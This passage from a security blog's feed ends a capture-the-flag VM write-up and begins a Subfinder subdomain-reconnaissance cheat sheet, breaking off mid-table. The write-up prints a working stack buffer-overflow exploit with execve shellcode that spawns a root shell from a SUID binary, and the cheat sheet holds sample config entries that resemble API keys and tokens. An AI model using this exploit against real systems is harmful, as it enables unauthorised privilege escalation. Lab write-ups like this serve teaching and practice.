          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;./r00t $(python -c &apos;print &quot;A&quot; *300&apos;)&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Segmentation fault&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Bangin’ then I tried 250 no crash, adding 10 each time then subtracting when the seg fault occoured at 268 and the instruction pointer address at 269 &lt;code&gt;Illegal instruction&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Using gdb I located the address of ESP.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; i r esp
esp            0xbffffb80 0xbffffb80&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Padded with some NOPs - for a reliable landing.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/warf-jump.gif&quot; alt=&quot;Worf jump&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Overwrote EIP with the location of ESP and tagged some shellcode on the end to exectute a shell.&lt;/p&gt;

&lt;p&gt;###Final Exploit&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;./r00t &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;print &quot;A&quot;*268 + &quot;\x80\xfb\xff\xbf&quot; + &quot;\x90&quot; * 10 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80&quot;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Note: gdb drops privileges on SUID, in order to spawn the new shell with SUID you need to execute the exploit outside of gdb, or the shell will spawn as the unprivileged user.&lt;/p&gt;

&lt;p&gt;The binaries in &lt;code&gt;choose_wisely/door*&lt;/code&gt; are rotated, the largest is the vulnerable binary.&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Exploit Process&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;du -sh *&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;output&quot;&gt;12K door1&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;output&quot;&gt;12K door2&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;output&quot;&gt;16K door3&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;cd door3&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;./r00t $(python -c &apos;print &quot;A&quot;*268 + &quot;\x80\xfb\xff\xbf&quot; + &quot;\x90&quot; * &lt;br /&gt;10 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\&lt;br /&gt;xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80&quot;&apos;)&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;whoami&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;root&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;cat /root/Proof.txt&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;You win this time young Jedi...&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;a70354f0258dcc00292c72aab3c8b1e4&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;##Root dance&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/girl-dancing-excited.gif&quot; alt=&quot;Root Dance&quot; /&gt;&lt;/p&gt;

&lt;p&gt;##Thanks&lt;/p&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://twitter.com/@maleus21&quot;&gt;@maleus21&lt;/a&gt; for creating this VM challenege.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Subfinder Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/subfinder-cheat-sheet/</link>
          <pubDate>Fri, 29 Dec 2023 14:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Subfinder</category>
          
          <category>Tools</category>
          
          <category>Project Discovery</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/subfinder-cheat-sheet/</guid>
          <description>&lt;p&gt;&lt;img src=&quot;/img/subfinder-logo.png&quot; alt=&quot;Subfinder Logo&quot; /&gt;&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-subfinder&quot; id=&quot;markdown-toc-what-is-subfinder&quot;&gt;What is Subfinder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#install-subfinder&quot; id=&quot;markdown-toc-install-subfinder&quot;&gt;Install Subfinder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#subfinder-api-setup&quot; id=&quot;markdown-toc-subfinder-api-setup&quot;&gt;Subfinder API Setup&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#subfinder-config-file&quot; id=&quot;markdown-toc-subfinder-config-file&quot;&gt;Subfinder Config File&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#subfinder-api-sources&quot; id=&quot;markdown-toc-subfinder-api-sources&quot;&gt;Subfinder API Sources&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#example-subfinder-api-config-file&quot; id=&quot;markdown-toc-example-subfinder-api-config-file&quot;&gt;Example Subfinder API Config File&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#subfinder-usage&quot; id=&quot;markdown-toc-subfinder-usage&quot;&gt;Subfinder Usage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#example-subfinder-commands&quot; id=&quot;markdown-toc-example-subfinder-commands&quot;&gt;Example Subfinder Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#find-subdomains-single-domain&quot; id=&quot;markdown-toc-find-subdomains-single-domain&quot;&gt;Find Subdomains Single Domain&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#verify-subfinder-results-with-httpx&quot; id=&quot;markdown-toc-verify-subfinder-results-with-httpx&quot;&gt;Verify Subfinder Results With HTTPX&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#subfinder--naabu-portscan&quot; id=&quot;markdown-toc-subfinder--naabu-portscan&quot;&gt;Subfinder + Naabu Portscan&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot; id=&quot;markdown-toc-conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#document-changelog&quot; id=&quot;markdown-toc-document-changelog&quot;&gt;Document Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-subfinder&quot;&gt;What is Subfinder&lt;/h2&gt;

&lt;p&gt;Subfinder is a passive subdomain discovery tool made by Project Discovery. The following subfinder cheat sheet provides an overview of the command flags for Subfinder and common command examples for real world usage. Subfinder can be used to obtain a number of valid subdomains both passively and actively, to identify more attack surface for &lt;a href=&quot;/penetration-testing/&quot;&gt;penetration testing&lt;/a&gt; or bug bounty recon or assessment.&lt;/p&gt;

&lt;h2 id=&quot;install-subfinder&quot;&gt;Install Subfinder&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;go &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Configure API Keys&lt;/h5&gt;
  &lt;p&gt;Subfinder works straight after install, however with API keys (even a free key) will improve passive subdomain results.&lt;/p&gt;
&lt;/div&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Subfinder Flags &amp;amp; Syntax&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;subfinder -h&lt;/span&gt;
        &lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h2 id=&quot;subfinder-api-setup&quot;&gt;Subfinder API Setup&lt;/h2&gt;

&lt;p&gt;Configuring Subfinder to use free or paid API services will likely improve the discovered domains the tool can find. You can list the sources Subfinder uses by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subfinder -ls&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;subfinder-config-file&quot;&gt;Subfinder Config File&lt;/h3&gt;

&lt;p&gt;In order to setup subfinder API keys you need to create or modify the existing configuration file. The filesystem location for the subfinder config file is at: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$HOME/.config/subfinder/provider-config.yaml&lt;/code&gt; the subfinder config file needs to be populated with the API keys that you will need to obtain from the various sources that have (kindly) been listed below.&lt;/p&gt;

&lt;h3 id=&quot;subfinder-api-sources&quot;&gt;Subfinder API Sources&lt;/h3&gt;

&lt;p&gt;Subfinder supports the following data API sources:&lt;/p&gt;

&lt;table&gt;
  &lt;tr&gt;
    &lt;th&gt;NAME&lt;/th&gt;
    &lt;th&gt;URL&lt;/th&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;BeVigil&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://bevigil.com/osint-api&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;BinaryEdge&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://binaryedge.io&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;BufferOver&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://tls.bufferover.run&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;C99&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://api.c99.nl/&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Censys&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://censys.io&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;CertSpotter&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://sslmate.com/certspotter/api/&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Chaos&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://chaos.projectdiscovery.io&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Chinaz&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;http://my.chinaz.com/ChinazAPI/DataCenter/MyDataApi&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;DNSDB&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://api.dnsdb.info&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Fofa&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://fofa.info/static_pages/api_help&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;FullHunt&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://fullhunt.io&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;GitHub&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://github.com&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Intelx&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://intelx.io&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;PassiveTotal&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;http://passivetotal.org&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;quake&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://quake.360.cn&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Robtex&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://www.robtex.com/api/&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;SecurityTrails&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;http://securitytrails.com&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Shodan&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://shodan.io&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;ThreatBook&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://x.threatbook.cn/en&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;VirusTotal&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://www.virustotal.com&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;WhoisXML API&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://whoisxmlapi.com/&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;ZoomEye&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://www.zoomeye.org&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;ZoomEye API&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://api.zoomeye.org&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;dnsrepo&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://dnsrepo.noc.org&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Hunter&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://hunter.qianxin.com/&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Facebook&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://developers.facebook.com&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;BuiltWith&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;https://api.builtwith.com/domain-api&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h2 id=&quot;example-subfinder-api-config-file&quot;&gt;Example Subfinder API Config File&lt;/h2&gt;

&lt;p&gt;The following is an example of the API config file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;binaryedge:
  - 0bf8919b-aab9-42e4-9574-d3b639324597
  - ac244e2f-b635-4581-878a-33f4e79a2c13
censys:
  - ac244e2f-b635-4581-878a-33f4e79a2c13:dd510d6e-1b6e-4655-83f6-f347b363def9
certspotter: &lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt;
passivetotal:
  - sample-email@user.com:sample_password
redhuntlabs:
  - ENDPOINT:API_TOKEN
  - https://reconapi.redhuntlabs.com/community/v1/domains/subdomains:joEPzJJp2AuOCw7teAj63HYrPGnsxuPQ
securitytrails: &lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt;
shodan:
  - AAAAClP1bJJSRMEYJazgwhJKrggRwKA
github:
  - ghp_lkyJGU3jv1xmwk4SDXavrLDJ4dl2pSJMzj4X
  - ghp_gkUuhkIYdQPj13ifH4KA3cXRn8JD2lqir2d4
zoomeyeapi:
  - 4f73021d-ff95-4f53-937f-83d6db719eec
quake:
  - 0cb9030c-0a40-48a3-b8c4-fca28e466ba3
facebook:
  - APP_ID:APP_SECRET
intelx:
  - HOST:API_KEY
  - 2.intelx.io:s4324-b98b-41b2-220e8-3320f6a1284d&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Above file source: https://docs.projectdiscovery.io/tools/subfinder/install#post-install-configuration&lt;/p&gt;

&lt;h2 id=&quot;subfinder-usage&quot;&gt;Subfinder Usage&lt;/h2&gt;

&lt;p&gt;How to use Subfinder to find domains:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
	&lt;thread&gt;  
    &lt;tr&gt;
      &lt;th&gt;Flag&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
	  &lt;/thread&gt;
	  &lt;tbody&gt;
    &lt;tr&gt;
	    &lt;td&gt;&lt;p&gt;&lt;code&gt;-d, -domain string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
	    &lt;td&gt;&lt;p&gt;domains to find subdomains for&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
	    &lt;td&gt;&lt;p&gt;&lt;code&gt;-dL, -list string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
	    &lt;td&gt;&lt;p&gt;file containing list of domains for subdomain discovery&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
	    &lt;td&gt;&lt;p&gt;&lt;code&gt;-s, -sources string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;specific sources to use for discovery (-s crtsh,github). Use -ls to display all available sources.&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-recursive&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;use only sources that can handle subdomains recursively (e.g. subdomain.domain.tld vs domain.tld)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-all&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;use all sources for enumeration (slow)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-es, -exclude-sources string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;sources to exclude from enumeration (-es alienvault,zoomeye)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-m, -match string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;subdomain or list of subdomain to match (file or comma separated)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-f, -filter string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;subdomain or list of subdomain to filter (file or comma separated)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rl, -rate-limit int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;maximum number of http requests to send per second&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-t int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;number of concurrent goroutines for resolving (-active only) (default 10)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-o, -output string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;file to write output to&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-oJ, -json&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;write output in JSONL(ines) format&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-oD, -output-dir string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;directory to write output (-dL only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-cs, -collect-sources&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include all sources in the output (-json only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-oI, -ip&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include host IP in output (-active only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-config string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;flag config file (default &quot;$HOME/.config/subfinder/config.yaml&quot;)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-pc, -provider-config string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;provider config file (default &quot;$HOME/.config/subfinder/provider-config.yaml&quot;)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-r string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;comma separated list of resolvers to use&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rL, -rlist string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;file containing list of resolvers to use&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-nW, -active&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display active subdomains only&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-proxy string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;http proxy to use with subfinder&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ei, -exclude-ip&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;exclude IPs from the list of domains&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-silent&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;show only subdomains in output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-version&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;show version of subfinder&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;show verbose output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-nc, -no-color&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;disable color in output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ls, -list-sources&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;list all available sources&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-timeout int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
